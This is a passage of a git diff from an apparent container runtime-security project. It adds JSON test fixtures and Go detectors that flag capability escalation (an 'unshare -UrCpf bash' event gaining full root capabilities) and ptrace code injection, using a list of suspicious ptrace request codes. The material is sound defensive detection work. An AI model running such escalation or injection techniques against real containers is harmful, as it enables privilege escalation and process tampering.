"53e518ba04e25dd3c786818f8b7681a", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2MzU0NjYzMzUyMjQ6MjkwODQ5MQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533756, - "is_host": false - }, - "ipc": { - "inum": 4026533757, - "is_host": false - }, - "mnt": { - "inum": 4026535184, - "is_host": false - }, - "pid": { - "inum": 4026535185, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535185, - "is_host": false - }, - "net": { - "inum": 4026533758, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535186, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2908711, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "commit_creds", - "args": [ - { - "process_credentials_arg": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [] - }, - "user_ns": { - "level": 1, - "uid": 0, - "gid": 0, - "ns": { - "inum": 4026533174, - "is_host": false - } - } - }, - "label": "" - } - ], - "return": null, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "privilege-raise-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-04-02T15:58:01.919951802Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..4395a2c5 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/testdata/negative_wrong_func.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/unshare", + "arguments": "-r /bin/sh" + }, + "function_name": "do_setuid", + "args": [ + { + "process_credentials_arg": { + "uid": 0, + "gid": 0 + } + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/testdata/positive_unshare_caps.json b/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/testdata/positive_unshare_caps.json new file mode 100644 index 00000000..b292ca48 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/testdata/positive_unshare_caps.json @@ -0,0 +1,380 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2NTUxMjU5NjQ4NDU6MjkwODcxMg==", + "pid": 2908712, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/unshare", + "arguments": "-UrCpf bash", + "flags": "execve", + "start_time": "2024-04-02T15:58:01.919414806Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-priv", + "container": { + "id": "cri-o://53e518ba04e25dd3c786818f8b7681a8e37254baa57930b06a2bd4cea74e93d0", + "name": "test-pod-debian-priv", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-03-21T13:35:21Z", + "pid": 446, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-priv", + "workload_kind": "Pod" + }, + "docker": "53e518ba04e25dd3c786818f8b7681a", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2NTUxMjUwOTM0OTQ6MjkwODcxMQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533756, + "is_host": false + }, + "ipc": { + "inum": 4026533757, + "is_host": false + }, + "mnt": { + "inum": 4026535184, + "is_host": false + }, + "pid": { + "inum": 4026535185, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535185, + "is_host": false + }, + "net": { + "inum": 4026533758, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535186, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2908712, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2NTUxMjUwOTM0OTQ6MjkwODcxMQ==", + "pid": 2908711, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/unshare", + "arguments": "-UrCpf bash", + "flags": "execve rootcwd clone", + "start_time": "2024-04-02T15:58:01.918543722Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-priv", + "container": { + "id": "cri-o://53e518ba04e25dd3c786818f8b7681a8e37254baa57930b06a2bd4cea74e93d0", + "name": "test-pod-debian-priv", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-03-21T13:35:21Z", + "pid": 446, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-priv", + "workload_kind": "Pod" + }, + "docker": "53e518ba04e25dd3c786818f8b7681a", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2MzU0NjYzMzUyMjQ6MjkwODQ5MQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_CHROOT", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533756, + "is_host": false + }, + "ipc": { + "inum": 4026533757, + "is_host": false + }, + "mnt": { + "inum": 4026535184, + "is_host": false + }, + "pid": { + "inum": 4026535185, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535185, + "is_host": false + }, + "net": { + "inum": 4026533758, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535186, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2908711, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "commit_creds", + "args": [ + { + "process_credentials_arg": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [] + }, + "user_ns": { + "level": 1, + "uid": 0, + "gid": 0, + "ns": { + "inum": 4026533174, + "is_host": false + } + } + }, + "label": "" + } + ], + "return": null, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-privilege-raise-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-04-02T15:58:01.919951802Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_PROCESS_CAP_RAISE", + "severity": "HIGH", + "reason_contains": "excessive effective capabilities", + "tactics": [ + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PTRACE_CODE_INJ/main.go b/event-processor/detector/wasm/CS_RT_PTRACE_CODE_INJ/main.go deleted file mode 100644 index 1f4c3a71..00000000 --- a/event-processor/detector/wasm/CS_RT_PTRACE_CODE_INJ/main.go +++ /dev/null @@ -1,395 +0,0 @@ -//go:build tinygo.wasm - -package main - -import ( - "context" - "fmt" - "strings" - - "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" -) - -const ( - ID = "CS_RT_PTRACE_CODE_INJ" - Name = "Code injection into executable process through ptrace" - Description = "The detector detects code injection into an executable process through the ptrace() system call, which may indicate attempts to masquerade as a legitimate process, access the process memory and system or network resources, and escalate privileges." - Version = 1 - Author = "Runtime Radar Team" - - License = "Apache License 2.0" -) - -var ( - // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions - // which will be used by Detector. If function names are not applicable for - // a particular event type, such as "PROCESS_EXEC", leave slice empty or use - // wildcard "*". - triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"sys_ptrace"}, - - // Examples: - // - // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, - // In order to process all possible functions leave right-hand part empty or use wildcard "*": - // "PROCESS_EXEC": {}, - // same as: - // "PROCESS_EXEC": {"*"}, - } -) - -var ( - // Taken from here (link from ESC): https://github.com/torvalds/linux/blob/master/include/uapi/linux/ptrace.h - ptraceMaliciousRequests = []int32{ - 4, // PTRACE_POKETEXT (Copy word *data* to the address *addr*) - 5, // PTRACE_POKEDATA (Copy word *data* to the address *addr*) - 6, // PTRACE_POKEUSR (Copy the word *data* to offset *addr* in the traced process' USER area) - 13, // PTRACE_SETREGS (Set all general purpose registers used by a processes) - 15, // PTRACE_SETFPREGS (Set all floating point registers used by a processes) - 16, // PTRACE_ATTACH (Attach to a process with SIGSTOP sending) - 17, // PTRACE_DETACH (Detach from a traced process) - 19, // PTRACE_SETFPXREGS (Set all extended floating point registers used by a processes) - 16899, // PTRACE_SETSIGINFO (Set signal information for a traced process) - 16901, // PTRACE_SETREGSET (Modify a traced process registers) - 16902, // PTRACE_SEIZE (Attach to a process without SIGSTOP sending) - 16903, // PTRACE_INTERRUPT (Try to stop traced process) - } -) - -// main is required for TinyGo to compile to Wasm. -func main() { - api.RegisterDetector(Detector{}) -} - -type Detector struct{} - -func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { - return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, - }, nil -} - -func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { - resp := &api.TriggerCriteriaResp{ - Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), - } - - for k, v := range triggerCriteria { - resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} - } - - return resp, nil -} - -func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { - // Detector info added to DetectResp because detector info is always correlated to response, thus - // to avoid +1 Wasm call on detect. - resp := &api.DetectResp{ - // Default response indicates that nothing detected (this is redundant and put here just for reference, - // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). - Severity: api.DetectResp_NONE, - } - - event := req.GetEvent().GetEvent() - - switch ev := event.(type) { - case *tetragon.GetEventsResponse_ProcessExec: - // Nothing here - case *tetragon.GetEventsResponse_ProcessExit: - // Nothing here - case *tetragon.GetEventsResponse_ProcessKprobe: - kprobe := ev.ProcessKprobe - functionName := kprobe.GetFunctionName() - args := kprobe.GetArgs() - - if strings.HasSuffix(functionName, "sys_ptrace") { - if len(args) < 1 { - return nil, fmt.Errorf("unexpected args len, got %d, want >=1", len(args)) - } - req := args[0].GetIntArg() - - for _, mal := range ptraceMaliciousRequests { - if req == mal { - resp.Severity = api.DetectResp_HIGH // <-- threat detected - - return resp, nil - } - } - } - - case *tetragon.GetEventsResponse_ProcessTracepoint: - // Nothing here - } - - return resp, nil -} - -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTEwMjI4NzY4MTM4NTc6NzUwNzA1", - "pid": 750705, - "uid": 0, - "cwd": "/root/ptrace", - "binary": "/root/ptrace/exploit", - "arguments": "914", - "flags": "execve clone", - "start_time": "2024-03-21T09:37:29.670264484Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-ubuntu-ptrace", - "labels": [], - "container": { - "id": "cri-o://d401cf5283b757aa15aabd23e793c42840d658f1b5457250f32a9aa101371046", - "name": "test-pod-ubuntu-ptrace", - "image": { - "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", - "name": "docker.io/library/ubuntu:focal" - }, - "start_time": "2024-03-21T09:31:26Z", - "pid": 916, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-ubuntu-ptrace", - "workload_kind": "Pod" - }, - "docker": "d401cf5283b757aa15aabd23e793c42", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTA2Njk4Mjk2NTkxODA6NzQ2Mjg4", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_PTRACE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_PTRACE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533756, - "is_host": false - }, - "ipc": { - "inum": 4026533757, - "is_host": false - }, - "mnt": { - "inum": 4026535184, - "is_host": false - }, - "pid": { - "inum": 4026535185, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535185, - "is_host": false - }, - "net": { - "inum": 4026533758, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535186, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 750705, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTA2Njk4Mjk2NTkxODA6NzQ2Mjg4", - "pid": 746288, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-21T09:31:36.623109545Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-ubuntu-ptrace", - "labels": [], - "container": { - "id": "cri-o://d401cf5283b757aa15aabd23e793c42840d658f1b5457250f32a9aa101371046", - "name": "test-pod-ubuntu-ptrace", - "image": { - "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", - "name": "docker.io/library/ubuntu:focal" - }, - "start_time": "2024-03-21T09:31:26Z", - "pid": 7, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-ubuntu-ptrace", - "workload_kind": "Pod" - }, - "docker": "d401cf5283b757aa15aabd23e793c42", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTA2Njk4MjgzMDIyMzg6NzQ2Mjg4", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_PTRACE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_PTRACE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533756, - "is_host": false - }, - "ipc": { - "inum": 4026533757, - "is_host": false - }, - "mnt": { - "inum": 4026535184, - "is_host": false - }, - "pid": { - "inum": 4026535185, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535185, - "is_host": false - }, - "net": { - "inum": 4026533758, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535186, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 746288, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "__x64_sys_ptrace", - "args": [ - { - "int_arg": 4, - "label": "" - }, - { - "int_arg": 914, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "ptrace-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-21T09:37:29.671244063Z", - "aggregation_info": null -} - -*/ diff --git a/event-processor/detector/wasm/CS_RT_PTRACE_USE/main.go b/event-processor/detector/wasm/CS_RT_PTRACE_USE/main.go new file mode 100644 index 00000000..d7ff9d82 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PTRACE_USE/main.go @@ -0,0 +1,242 @@ +//go:build tinygo.wasm + +package main + +import ( + "context" + "fmt" + "slices" + "strings" + + "github.com/runtime-radar/runtime-radar/event-processor/detector/api" + "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" +) + +const ( + ID = "CS_RT_PTRACE_USE" + Name = "Code injection into executable process through ptrace" + Description = "The detector detects code injection into an executable process through the ptrace() system call, which may indicate attempts to masquerade as a legitimate process, access the process memory and system or network resources, and escalate privileges." + Version = 1 + Author = "Runtime Radar Team" + License = "Apache License 2.0" +) + +const ( + KprobeInjectionNoArgs = "Detected a code injection into the process with PID `%d` using the `ptrace(%s)` system call by the `%s` process" + KprobeInjectionDefault = "Detected a code injection into the process with PID `%d` using the `ptrace(%s)` system call by the `%s` process, which was started using the `%s` arguments" + KprobeOtherNoArgs = "Detected a connection to the process with PID `%d` using the `ptrace(%s)` system call initiated by the `%s` process" + KprobeOtherDefault = "Detected a connection to the process with PID `%d` using the `ptrace(%s)` system call initiated by the `%s` process, which was started using the `%s` arguments" +) + +var ( + // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions + // which will be used by Detector. If function names are not applicable for + // a particular event type, such as "PROCESS_EXEC", leave slice empty or use + // wildcard "*". + triggerCriteria = map[string][]string{ + "PROCESS_KPROBE": {"sys_ptrace"}, + + // Examples: + // + // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + // In order to process all possible functions leave right-hand part empty or use wildcard "*": + // "PROCESS_EXEC": {}, + // same as: + // "PROCESS_EXEC": {"*"}, + } +) + +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1543", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1543", + "T1055.008", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1055.008", + }, + }, + } +) + +var ( + // Taken from here (link from ESC): https://github.com/torvalds/linux/blob/master/include/uapi/linux/ptrace.h + ptraceMaliciousRequests = []int32{ + 4, // PTRACE_POKETEXT (Copy word *data* to the address *addr*) + 5, // PTRACE_POKEDATA (Copy word *data* to the address *addr*) + 6, // PTRACE_POKEUSR (Copy the word *data* to offset *addr* in the traced process' USER area) + 13, // PTRACE_SETREGS (Set all general purpose registers used by a processes) + 15, // PTRACE_SETFPREGS (Set all floating point registers used by a processes) + 16, // PTRACE_ATTACH (Attach to a process with SIGSTOP sending) + 17, // PTRACE_DETACH (Detach from a traced process) + 19, // PTRACE_SETFPXREGS (Set all extended floating point registers used by a processes) + 16899, // PTRACE_SETSIGINFO (Set signal information for a traced process) + 16901, // PTRACE_SETREGSET (Modify a traced process registers) + 16902, // PTRACE_SEIZE (Attach to a process without SIGSTOP sending) + 16903, // PTRACE_INTERRUPT (Try to stop traced process) + } + + ptraceRequestTypes = map[int32]string{ + 0: "PTRACE_TRACEME", + 1: "PTRACE_PEEKTEXT", + 2: "PTRACE_PEEKDATA", + 3: "PTRACE_PEEKUSR", + 4: "PTRACE_POKETEXT", + 5: "PTRACE_POKEDATA", + 6: "PTRACE_POKEUSR", + 7: "PTRACE_CONT", + 8: "PTRACE_KILL", + 9: "PTRACE_SINGLESTEP", + 12: "PTRACE_GETREGS", + 13: "PTRACE_SETREGS", + 14: "PTRACE_GETFPREGS", + 15: "PTRACE_SETFPREGS", + 16: "PTRACE_ATTACH", + 17: "PTRACE_DETACH", + 18: "PTRACE_GETFPXREGS", + 19: "PTRACE_SETFPXREGS", + 21: "PTRACE_OLDSETOPTIONS", + 23: "PTRACE_SET_SYSCALL", + 24: "PTRACE_SYSCALL", + 25: "PTRACE_GET_THREAD_AREA", + 26: "PTRACE_SET_THREAD_AREA", + 30: "PTRACE_ARCH_PRCTL", + 31: "PTRACE_SYSEMU", + 32: "PTRACE_SYSEMU_SINGLESTEP", + 33: "PTRACE_SINGLEBLOCK", + 16896: "PTRACE_SETOPTIONS", + 16897: "PTRACE_GETEVENTMSG", + 16898: "PTRACE_GETSIGINFO", + 16899: "PTRACE_SETSIGINFO", + 16900: "PTRACE_GETREGSET", + 16901: "PTRACE_SETREGSET", + 16902: "PTRACE_SEIZE", + 16903: "PTRACE_INTERRUPT", + 16904: "PTRACE_LISTEN", + 16905: "PTRACE_PEEKSIGINFO", + 16906: "PTRACE_GETSIGMASK", + 16907: "PTRACE_SETSIGMASK", + 16908: "PTRACE_SECCOMP_GET_FILTER", + 16909: "PTRACE_SECCOMP_GET_METADATA", + 16910: "PTRACE_GET_SYSCALL_INFO", + 16914: "PTRACE_SET_SYSCALL_INFO", + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { + api.RegisterDetector(Detector{}) +} + +type Detector struct{} + +func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { + return &api.InfoResp{ + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, + }, nil +} + +func (d Detector) 